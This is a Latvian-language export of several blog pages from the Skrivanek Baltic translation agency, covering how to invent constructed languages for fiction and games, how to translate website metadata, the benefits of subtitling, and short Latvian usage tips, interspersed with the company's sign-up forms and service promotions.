galaktikas, civilizācijas un arī valodas. Lai spēļu pilsētām, vietām, ciltīm un varoņiem varētu dot vārdus, tiek veidoti alfabēti, īpaša rakstība un vārdnīcas. Sākotnēji varētu šķist, ka spēļu varoņu valoda ir to autoru apziņas plūsmas rezultāts, bet tas tā nav. Valoda ir sistēma, kurā ir noteikti likumi, kā mēs izsakām dzimtes, skaitļa, locījumu utt. nozīmes. Izrādās, vēlme veidot slepenas valodas cilvēkiem radās daudz senāk, nekā varētu iedomāties. Mākslīgi veidotu valodu pirmsākumi meklējami viduslaikos, kad pirmo reizi parādījās slepeno biedrību kodi. To mērķis bija radīt saziņas veidu, kas būtu zināms tikai izredzētajiem, lai apmainītos ar sevišķi slepenu informāciju. Piemērs ir lingua ignota, ko aprakstīja abate Hildegarde no Bingenas. Tā sastāvēja tikai no vārdu krājuma, tajā nebija nekādu gramatikas noteikumu un bija savs alfabēts. Diemžēl lingua ignota izzuda līdz ar tās izgudrotājas nāvi, taču glosārijs ir saglabājies līdz pat mūsdienām. MAKSLĪGI IZVEIDOTAS VALODAS MŪSDIENĀS Patiesā mākslīgi veidotu valodu attīstība sākās modernajā laikmetā, līdz ar fantāzijas un zinātniskās fantastikas žanra uzplaukumu. Rakstnieki, mākslas filmu un videospēļu veidotāji, sāka darināt detalizētas valodas kā daļu no savas uzburtās pasaules veidošanas procesa, lai savam fantāziju lidojumam piešķirtu vēlamo reālisma dziļumu. Tā ir radušās gan Tolkīna elfu valodas, gan Džordža R. R. Mārtina dotraki valoda. Šīs valodas ir kļuvušas par pilnvērtīgām lingvistiskām sistēmām. Lai panāktu lielāku reālismu, autori (un fani) turpina tās papildināt ar savu sintaksi, gramatiku un idiomātiskiem izteicieniem vēl joprojām. Populārajā mākslas filmā “Zvaigšņu ceļš” izdomāta ārpuszemes humanoīdu rase klingoņi runā paši savā klingoņu valodā. Patiesībā klingoņu valodai ir gana detalizēti izstrādāta gramatika, sintakse un leksika, tajā pat ir iztulkots Viljama Šekspīra darbs “Hamlets”. Protams, arī šī sarežģītā mākslīgi izveidotā valoda ir iemantojusi fanus visā pasaulē. Jāteic, ka gadu gaitā mākslīgi veidotās valodas ir kļuvušas ne tikai par nišas aktivitāti, bet arī par atzītu pētniecības jomu. Tāpēc, pat ja neesat fantastikas literatūras vai videospēļu cienītājs, izdomāto valodu visumā jums vēl ir vieta, kur izpausties! AR KO SĀKT? Jums ir izstrādāta videospēle, grasāties rakstīt savu pirmo grāmatu vai uzņemt filmu, vai ir tikai dzimusi ideja par savu unikālo videospēli, tad tieši jums turpmāk aprakstīsim dažus galvenos elementus, kas ir jāņem vērā, veidojot savam darbam jaunu mākslīgo valodu. Protams, mēs vienmēr iesakām vērsties pie profesionāliem valodniekiem, kuri jums palīdzēs. Taču ja tomēr pieņemsit lēmumu strādāt paši, tad visbiežāk saviem klientiem iesakām pašu vienkāršāko risinājumu, proti, par pamatu savas spēles, filmas vai grāmatas valodai ņemt jau kādu no dabīgajām valodām, kas fonētiski vislabāk iederētos kopējā noskaņā un pārveidot to. Šāda pieeja palīdzēs ietaupīt daudz laika un, iespējams, citiem būs nedaudz vieglāk to apgūt un atcerēties. Nākamais būtiskais elements ir valodas nosaukuma izveidošana. Tas nebūt nav vienkāršs lēmums, jo ir gandrīz, kā dot vārdu bērnam. Ir jāpiemeklē tāds valodas nosaukums, kas jums liks lepoties katru reizi, kad to dzirdēsiet. Ideālam jūsu mākslīgi izveidotās valodas nosaukumam jābūt unikālam un neaizmirstamam. Vērts atcerēties, ka eksotisku un grūti izrunājamu skaņu izmantošana varētu šķist ļoti vilinošs un ērts risinājums, taču to lietošana var apgrūtināt nosaukuma atcerēšanos. Jums ir jāpārliecinās, ka jūsu jaunizveidotā valoda patiešām ir unikāla un tai jau nav līdzīgu valodu, kas var raisīt pārpratumus. Vienmēr veiciet rūpīgu priekšizpēti internetā. Ja valodas nosaukuma veidošanas process jums šķiet par grūtu, atstājiet to uz beigām, kad būsit jau izdomājuši un sagatavojuši savas valodas vārdnīcu. Arī rakstnieki grāmatām dod nosaukumus tikai pēc tam, kad darbs jau ir uzrakstīts. Ļaujiet sev izdzīvot procesu un nesteidzieties. Ja tomēr sāksiet ar valodas nosaukumu, pierakstiet visus iespējamos nosaukumus, kas vien jums nāk prātā, ņemot vērā spēles vizualizācijas vai grāmatas aprakstus. Atturieties no pierakstīto nosaukumu tūlītējas analizēšanas un kritizēšanas. Kad esat izveidojuši pietiekami garu iespējamo valodas nosaukumu sarakstu, sāciet atlasi – nevajag baidīties likt lietā iztēli un intuīciju. Kad valodas nosaukums ir izveidots, Skrivanek Baltic iesaka sākt strādāt ar vārdu krājumu, proti, sākt veidot vārdnīcu. Jāsāk ar pašu pamatu – vietniekvārdiem, skaitļa vārdiem, pamata darbības vārdiem un acīmredzamiem lietvārdiem. Strādājot pie vārdnīcas, paturiet prātā, kā jūsu spēles vai mākslas filmas skatītāji varētu ikdienā savā starpā runāt par jūsu veikumu un tā varoņiem, kādus vārdus, saīsinājumus viņi varētu visvairāk lietot, aiciniet talkā draugus un paziņas, vaicājiet, kādi vārdi viņiem paliek prāta, kāpēc? Kad tas ir darīts, turpiniet paplašināt vārdu sarakstu. Pievērsiet uzmanību abstraktu reāliju apzīmējumiem. Lai to panāktu, jums ir skaidri jāzina, kādas ir jūsu jaunuzburtā visuma vai planētas reālijas, kurā jaunā valoda tiks lietota. Ir atšķirība – izveidot valodu iedomātiem Zemes iedzīvotājiem vai izveidot valodu pilnīgi jaunam visumam vai planētai. Šeit kā piemēru var minēt na'vi valodu. Na'vi valodas vārdu krājums tika veidots mākslas filmai “Avatar”, jo bija nepieciešama planētas Pandora iedzīvotāju valoda. Na'vi valodas izgudrotājs ir valodnieks Pols Frommers. Pie na'vi valodas viņš strādāja vairākus gadus un ņēma vērā planētas Pandora iedzīvotāju ciešo saikni ar dabu. Lielākā daļa vārdu krājuma tika nevis aizgūta no kādas dabīgās valodas, bet gan izgudrota. Ieskatam daži na'vi valodas vārdi – ’ana: (nokarināts vīns), olo’eyktan: (vīriešu dzimtes klana līderis) un reym: (sauszeme). Na'vi valodai mūsdienās jau ir pilnībā izstrādāta gramatika, valodas vārdu krājums ir ap 1000 vārdu. Interesanti, ka tīmekļa vietnē: http://www. learnnavi. org – katrs interesants var apgūt na’vi valodas gramatiku, pamatfrāzes un to izrunu Savukārt, seriāla "Troņu spēle" valīriešu valodas dialektus ir izveidojis valodnieks Deivids Pītersons, kurš kopumā ir izveidojis vairāk nekā 50 mākslīgo valodu. Strādājot pie valīriešu valodas un tās dialektiem viņš ņēma vērā izdomāto cilvēku dzīvesveidu. Valīriešu valodā ir ap 2000 vārdu, to pat ir iespējams apgūt populārajā valodu mācīšanās vietnē “Duolingo”. Kā jūs domājat, cik cilvēku ir apguvuši valīriešu valodu? Rezultāts jūs varētu pārsteigt! Turpat seriālā ir dzirdama arī cita Deivida Pītersona valoda – dotraki valoda, kurā jau ir ap 4000 vārdu, tajā ir daudz vārdu, kas saistīti ar zirgiem un tuksnesi. Daži piemēri no dotraki valodas, par "atvadām" viņi saka fonas check (labi medīt). Pirms ēšanas viņi apmainās ar frāzi anha dothrak adakhataan (es braucu ēst). Kad kāds no klana locekļiem svin dzimšanas dienu, citi viņu sveic – asshekhqoyi vezhvena! (lai lieliska asins diena! ). Un visbeidzot padomājiet par gramatiku, proti, likumiem, kā jūs būvēsiet savas valodas vārdus, teikumus, kādu alfabētu izmantosiet. Vienmēr var nolemt izmantot starptautisko fonētisko alfabētu, taču atgādinām, ka ir arī citas rakstību sistēmas un iedrošinām nebaidīties eksperimentēt. Patestējiet latīņu, kirilicas, arābu vai ķīniešu alfabētu. Apskatiet Taizemes skriptu (abugida), kurā līdzskaņu burtam jāpievieno patskaņu zīmes. Tajā līdzskaņi vienmēr tiek rakstīti secībā no kreisās uz labo pusi, bet patskaņiem ir noteikumi, ka tie jāraksta pa kreisi, pa labi, augšā vai apakšā zilbes pirmajam līdzskanim, bet abdžads vai konsonantiskais raksts ir rakstība, kas satur vienīgi līdzskaņus (konsonantus), interesanti, vai ne? Un visbeidzot, kad valoda ir izveidota, praktizējiet to! Runājiet vārdus skaļā balsī, novērtējiet, cik viegli vai grūti vārdi, frāzes un teikumi ir izrunājami, dariniet mazus dialogus un vizuālos aprakstus. Kā redzat, savas valodas izveidošana ir gan liels piedzīvojums, gan smags darbs, kas reizēm prasa gadus, kur līdzās radošumam, pacietībai ir jāpiemīt arī padziļinātai valodas struktūru izpratnei. Mēs Skrivanek Baltic būsim vienmēr priecīgi sniegt konsultāciju par jaunu valodu izveidošanu, jo, kā zināms, pārvaldām ļoti daudzas dabīgās pasaules valodas. Varbūt jums nepieciešams koriģēt un rediģēt tekstu, tulkot to citā valodā vai uzrakstīt emuāru svešvalodā, mēs ar prieku palīdzēsim! Gaidām jūs Skrivanek Baltic birojā vai sazināmies tiešsaistē! SIA “Skrivanek Baltic” direktors V. Ragačevičs --- > Vēlies nokļūt meklētāja pirmajā lapā kādā konkrētā valstī? Noteikti jāparūpējas par kvalitatīviem mājaslapas tekstu un metadatu tulkojumiem. - Published: 2023-10-03 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kadel-ir-svarigi-pieverst-uzmanibu-metadatu-tulkosanai/ - Kategorijas: Raksti - Translation Priorities: Optional KĀDĒĻ IR SVARĪGI PIEVĒRST UZMANĪBU METADATU TULKOŠANAI? Pareiza metadatu tulkošana ir ļoti būtiska digitālā mārketinga daļa, ko nevar uzticēt mašīntulkotājam. Tā var būtiski palīdzēt uzlabot meklētājprogrammas rezultātus, jo vietējās meklētājprogrammas pēc noklusējuma ir lietotāju dzimtajās valodās. Tādēļ, ja vēlies nokļūt meklētāja pirmajā lapā kādā konkrētā valstī, tev noteikti ir jāparūpējas par kvalitatīviem mājaslapas tekstu un metadatu tulkojumiem. KAS IR METADATI? Metadatus izmanto katra tīmekļa vietne un lapa, kuru esi apmeklējis. Tas, kā klasificējam un meklējam informāciju tiešsaistē, lielā mērā ir atkarīgs no metadatiem. Būtībā tie ir “dati par citiem datiem”, ietverot tīmekļa lapas nosaukumu un produktu aprakstus. Citos vārdos – metadatus var uzskatīt par datu rādītājiem. Atminies savu nesenāko meklēšanu Google meklētājprogrammā. Atslēgas vārds vai frāze, ko ievadīji meklētājprogrammā, bija ietverta visās tev atlasīto vietņu metadatos. Iespējams, ka meklēšanu sāki ar konkrētu terminu, frāzi, mīmu, vietas nosaukumu, slengu vai ko citu, cilvēki ir radoši un mūsu uzdevums ir paredzēt, kā mūsu ideālais pircējs varētu meklēt pakalpojumu vai produktu, ko tirgojam. Metadatu veidi Aprakstošie metadati – aprakstoša informācija par produktu vai pakalpojumu. To izmanto atklāšanai un identifikācijai. Tajos ietver tādus elementus kā nosaukumu, īsu kopsavilkumu, autoru un galvenos atslēgvārdus. Struktūras metadati – metadati par datu kopām, kas norāda, kā vietne ir uzbūvēta, piemēram, kā produktu lapas ir sakārtotas, lai veidotu preču nodaļas. Tie apraksta produktu veidus, versijas, saistības ar citiem produktiem utt. Administratīvie metadati – dati, kas palīdz pārvaldīt resursu, piemēram, resursa tips, atļaujas, arī kad un kā tas tika izveidots. Atsauces metadati – informācija par statistikas datu saturu un kvalitāti. Statistikas metadati – arī saukti par procesa datiem, var aprakstīt procesus, kas ievāc, apstrādā vai rada statistikas datus. Juridiskie metadati – sniedz informāciju par autoru, autortiesību turētāju un publisko licencēšanu, ja tāda ir norādīta. PADOMĀ PAR METADATU GARUMU UN LIETOJUMU Tulkojot tīmekļa vietni, neaizmirsti tulkot visu, tostarp metadatus, kas tiek izmantoti, lai atrastu tavu saturu. Nepieciešams ļoti daudz laika, lai pilnveidotu mājaslapas vai tīmekļa vietnes saturu, pārliecinoties, ka katrs teikums ir ideāla garuma un neviens vārds nav izmantots nepareizi. Tādēļ ir svarīgi, ka tulkotie metadati ir atbilstoša garuma, īpaši tāpēc, ka, piemēram, tulkojot angļu tekstu franču valodā, tas mēdz būt par 20-25 % garāks. Ja meta apraksts būs pārāk garš vai pārāk īss, cietīs lapas vai vietnes meklētājoptimizācija, tāpēc pārliecinies, ka tulkojums ir atbilstoša garuma. Meta virsrakstam ir jābūt unikālam, tajā nedrīkst būt vairāk par 50 līdz 60 rakstzīmēm. Noteikti atceries, ka arī atstarpes starp vārdiem tiek skaitītas. Metadatu aprakstu vēlamais zīmju skaits ir 120 līdz 160 rakstzīmes. Izveido precīzus, bet tajā pašā laikā pievilcīgus metadatus. Ja iespējams, izmanto atbilstošus atslēgvārdus, lai piesaistītu lasītāju interesi, reizē izglītojot viņus par lapu vai tīmekļa vietni. Pārdomāts atslēgvārdu lietojums (biežums) nodrošinās, ka tavu vietni vai lapu indeksē dažādas meklētājprogrammas, jo meklētājoptimizācijas pamatā ir atslēgvārdi. Kaut arī atslēgvārdi meklētājprogrammai ir kļuvuši mazāk svarīgi nekā agrāk, nevajadzētu aizmirst, ka metadati tiek izmantoti, lai palīdzētu lietotājiem ātri atrast jūsu saturu. Atceries, ka lielākajai daļai metadatu ir īpašs formatējums, piemēram, schema. org formāts. Ir vērts piepūlēties, lai iepazītu tirgu, kuram būs paredzēti tevis tulkotie metadati. Atrodi atslēgvārdus, kas ir saistāmi ar tavām precēm vai pakalpojumiem attiecīgajā ārzemju tirgū. Šie atslēgvārdi ne vienmēr var būt acīmredzamākie, un tie ir jāizpēta kādam, kas saprot gan mērķvalodu, gan tulkotā teksta saturu. KAS JĀŅĒM VĒRĀ PIRMS METADATU TULKOŠANAS? Pirms nosūti metadatus tulkošanai valodas pakalpojumu sniedzējam, pārliecinies, ka esi apmierināts ar tekstu, tā garumu un stilu. Ja pieprasīsi atjauninājumus un izmaiņas pēc tulkošanas darba uzsākšanas, viss process aizņems ilgāku laiku un, visdrīzāk, arī maksāsi vairāk. Skrivanek Baltic iesaka – rediģē divreiz, tulko vienreiz – tas būtiski atvieglos tavu dzīvi un garantēs, ka meta apraksti ir precīzi iztulkoti dažādās valodās. Atceries, ka bieži vien platforma, kura ir izvēlēta par pamatu tīmekļvietnes veidošanai, piedāvā metadatus tulkošanai eksportēt automātiski, lai tos nevajadzētu pa vienam kopēt manuāli un nosūtīt tavam tulkošanas birojam. KĀ IZLEMT, KURĀS VALODĀS TULKOT? Tagad, kad zini, cik svarīgi ir tulkot un lokalizēt saturu gudri, lai tas nonāktu pie plašākas auditorijas, nākamais loģiskais jautājums ir – kādā valodā vajadzētu to tulkot? Ceram, ka nebūs sarežģīti izvēlēties valodas, kuras vēlies iekļaut savā e-komercijas vietnē. Padomā, kur tavs uzņēmums darbojas šobrīd? Kur vēlies pārdot rīt? Patiesībā atbilde bieži slēpjas savu esošo klientu un tirgu, kuros vēlies ienākt, analīzē. NEPIECIEŠAMA METADATU TULKOŠANA? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Kurš variants ir pareizs? Ieskaties Skrivanek latviešu valodas padomā! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-09-25 - Modified: 2024-09-03 - URL: https://skrivanek.lv/skersot-gajeju-pareju-pret-skersot-ielu-pa-gajeju-pareju/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠĶĒRSOT GĀJĒJU PĀREJU VAI ŠĶĒRSOT IELU PA GĀJĒJU PĀREJU 1 Ziņās stāstīja, ka automobilis sabrauca cilvēku, kurš šķērsoja gājēju pāreju. Vai šādi rakstīt būs pareizi? Gājēju pāreju (pa kuru gāja cilvēks) nelaikā šķērsoja automobilis, savukārt cilvēks šķērsoja ielu pa gājēju pāreju – gāja perpendikulāri, nevis paralēli ielai. Tātad pareizi ir abi varianti, taču katrs savā vietā. Automobilis nepiebremzējis šķērsoja gājēju pāreju lielā ātrumā. Gājējs šķērsoja ielu pa gājēju pāreju, ievērojot ceļu satiksmes noteikumus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vasarā parasti ir karsta vai augsta temperatūra? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-08-22 - Modified: 2024-08-21 - URL: https://skrivanek.lv/karsta-temperatura-vai-augsta-temperatura/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AUGSTA TEMPERATŪRA VAI KARSTA TEMPERATŪRA 1 Vasarā parasti ir karsta temperatūra. Vai arī – augsta temperatūra? Vārds ‘temperatūra’ nozīmē sasilšanas pakāpi jeb fizikālu lielumu, ar ko raksturo termodinamiskas sistēmas līdzsvara stāvokli. Var būt zema, normāla, paaugstināta vai augsta temperatūra, sacietēšanas temperatūra, sasalšanas temperatūra, kušanas temperatūra, vārīšanās temperatūra, degšanas temperatūra, taču ne karsta temperatūra, jo pakāpe nevar būt karsta vai auksta. Tātad teiksim: anticiklons atnāca ar augstu temperatūru, un Latvijā ieplūda karsts gaiss. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lūk, deviņi interesanti fakti, kā profesionāli veidoti subtitri palīdzēs uzrunāt vēlamo auditoriju jau tūlīt! Lasi šajā rakstā! - Published: 2023-07-21 - Modified: 2025-07-15 - URL: https://skrivanek.lv/ka-profesionali-veidoti-subtitri-palidzes-uzrunat-velamo-auditoriju/ - Kategorijas: Raksti - Translation Priorities: Optional Deviņi interesanti fakti, kā profesionāli veidoti subtitri palīdzēs uzrunāt vēlamo auditoriju jau tūlīt Vai zinājāt, ka video satura subtitrēšanas galvenā priekšrocība ir finanšu līdzekļu un laika ekonomija? Mēs visi zinām, ka laiks mūsdienu dinamiskajā pasaulē ir ļoti dārga investīcija, pat tādi uzņēmumi kā “Netflix” vai “HBO” rūpīgi izvērtē, kas ir lietderīgāk — ieguldīt augstas kvalitātes video satura dublāžā vai tomēr izvēlēties tikai subtitrēšanu. “Skrivanek Baltic” subtitrēšanas speciālisti stāsta, ka ir virkne citu papildu ieguvumu! Esam apkopojuši deviņus galvenos iemeslus, kāpēc būtu lietderīgi un pat ieteicams pievienot subtitrus sava uzņēmuma video saturam — pat, ja tas ir tikai latviešu valodā un paredzēts Latvijas auditorijai! Dažādos pētījumos ir pierādīts, ka cilvēka smadzenes ir veidotas tā, ka vairums no mums atceras daudz mazāk no dzirdētā nekā no izlasītā, tāpēc video satura subtitrēšana ir lielisks veids, kā uzrunāt dažādu auditoriju — jauniešus, seniorus, jūsu uzņēmuma jaunos ārvalstu klientus un sadarbības partnerus. Video, kas ietver audiovizuālo risinājumu kopā ar subtitriem, palīdz skatītājiem vieglāk uztvert kompleksus risinājumus, piefiksēt un atcerēties produkta nosaukumu vai zīmolu, lai pēc tam jau varētu veikt padziļinātu izpēti tīmeklī. Šāda veida video gluži vienkārši ilgāk saglabājas cilvēka atmiņā. Neatkarīgi no tā, vai cilvēki atrodas bibliotēkā, kafejnīcā, darbā vai mājās kopā ar ģimeni, daudzi izvēlas skatīties videoklipus bez skaņas. Kā ziņo sociālās plašsaziņas medijs “META”, 85% lietotāju mēdz skatīties video saturu vispār bez skaņas, turklāt 37% lietotāju subtitri motivē viņus noskatīties video ar skaņu. Vai tas nav interesanti? Daudzi cilvēki labprāt izvēlas skatīties video saturu ar oriģinālo skaņu izglītošanās nolūkā, īpaši, ja runa ir par saturu angļu, vācu, franču vai citā populārā valodā. Ja videoklips vai filma tiek skatīta valstī, kurā tā nav uzņemta, subtitri mazāk nekā dublāža ietekmē oriģinālajā saturā redzamās nianses un noskaņu. Subtitros ir mazāks risks pieļaut kļūdas kultūras kontekstā, kas nereti tiek pieļautas dublēšanā, proti, nepiemērotas balss izvēle, netiek pārnestas emocijas vai individuālas runas īpatnības. Subtitri palīdz novērst grūtības uztvert teikto, kas nereti rodas skaņu celiņa skaļuma svārstību, fona trokšņu vai mūzikas dēļ, kā arī runātāju balss modulācijas, gradācijai dinamikas un pat akcenta dēļ. Vai zināt, cik akcentu ir angļu valodā vien? Būsim objektīvi un godīgi — pasaulē dzīvo desmitiem miljonu nedzirdīgu vai vājdzirdīgu cilvēku, cilvēku ar uztveres grūtībām vai intelektuālās attīstības traucējumiem, kuri ļoti priecāsies, ja sagatavosiet savam video saturam subtitrus vieglajā valodā. Statistika dažādās valstīt atšķiras, taču vidēji 15‒25% katras valsts iedzīvotāju ir grūtības uztvert sarežģītu informāciju. Padomājiet par to! Profesionāli veidoti subtitri uzlabo meklētājoptimizāciju (SEO), proti, Google meklēšanas rezultātos tiks rādīti video ar pielāgotiem subtitriem (nevis automātiskās titrēšanas rīku reāllaikā ģenerētiem subtitriem, kas ir bez maksas pieejami dažās vietnēs). Saskaņā ar ASV mediju grupas “Verizon Media” veiktā pētījuma datiem, 80% cilvēku noskatās video līdz beigām tikai tad, ja tam ir subtitri. Vai mums izdevās jūs pārliecināt? Lūk, arī devītais iemesls par labu subtitrēšanai: 9 Ja ir veikta video satura subtitrēšana vienā valodā, to ir ļoti viegli un ērti tulkot un adaptēt citās valodās, jo tulkotajā tekstā jau ir ievietoti laika kodi, kas norāda katras teksta rindiņas attēlojuma laiku. Var izvēlēties atvērtos vai slēgtos subtitrus. Ko tas nozīmē? Atvērtie subtitri video ir redzami visu laiku, savukārt slēgtos subtitrus jebkurā laikā var ieslēgt un izslēgt. Izklausās sarežģīti? “Skrivanek Baltic” subtitrēšanas speciālisti palīdzēs jums kliedēt visas šaubas un atrast vispiemērotāko risinājumu tieši jums. Droši sazinies ar mums un priecāsimies palīdzēt! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Vai ierīce maizes šķēļu grsuzdēšanai ir tosteris vai tosters? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi. - Published: 2023-06-08 - Modified: 2024-10-22 - URL: https://skrivanek.lv/tosteris-vai-tosters/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TOSTERIS VAI TOSTERS 1 Vecais tosteris savu laiku nokalpojis. Vai – tosters? Tā ir ierīce maizes šķēļu grauzdēšanai, vārds aizgūts no angļu valodas vārda ‘toast’ – grauzdiņš. Apkopojot tīmeklī sastopamos šī vārda lietojumus un sarunvalodā dzirdētos, jāsecina, ka visbiežāk tiek lietota forma ‘tosteris’ (attiecīgi datīvā – ‘tosterim’, akuzatīvā – ‘tosteri’, lokatīvā – ‘tosterī’). Dažas vārdnīcas šo formu uzskata par novecojušu (tezaurs. lv), dažas – par variatīvu (letonika. lv). Skrivanek iesaka lietot formu ‘tosters’ (datīvā – ‘tosteram’, akuzatīvā – ‘tosteru’, lokatīvā – ‘tosterā’). Tātad teiksim: Vecais tosters savu laiku nokalpojis. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini pareizo atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. Noderīgi gan ikdienā, gan lietišķajā saziņā. - Published: 2023-06-08 - Modified: 2025-03-12 - URL: https://skrivanek.lv/jutubers-un-strimeris-vai-youtube-satura-veidotajs-un-straumetajs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JŪTŪBERS UN STRĪMERIS VAI YOUTUBE SATURA VEIDOTĀJS UN STRAUMĒTĀJS 1 Lauris bija klasē slavenākais jūtūbers un populārākais strīmeris. Vai ‒ Youtube satura veidotājs un straumētājs? Tehnoloģiju ietekmē latviešu valodā ir ienākuši daudzi vārdi, kurus lietojam gan ikdienā, gan oficiālajā komunikācijā. Angļu valodas vārds ‘youtuber’ ir atvasinājums no vārda ‘youtube’. Skrivanek, balstoties uz Valsts valodas centra sniegto informāciju, iesaka oficiālajā saziņā jēdzienu “youtuber” atveidot kā “Youtube satura veidotājs”, bet sarunvalodā – ‘jūtūbers’. 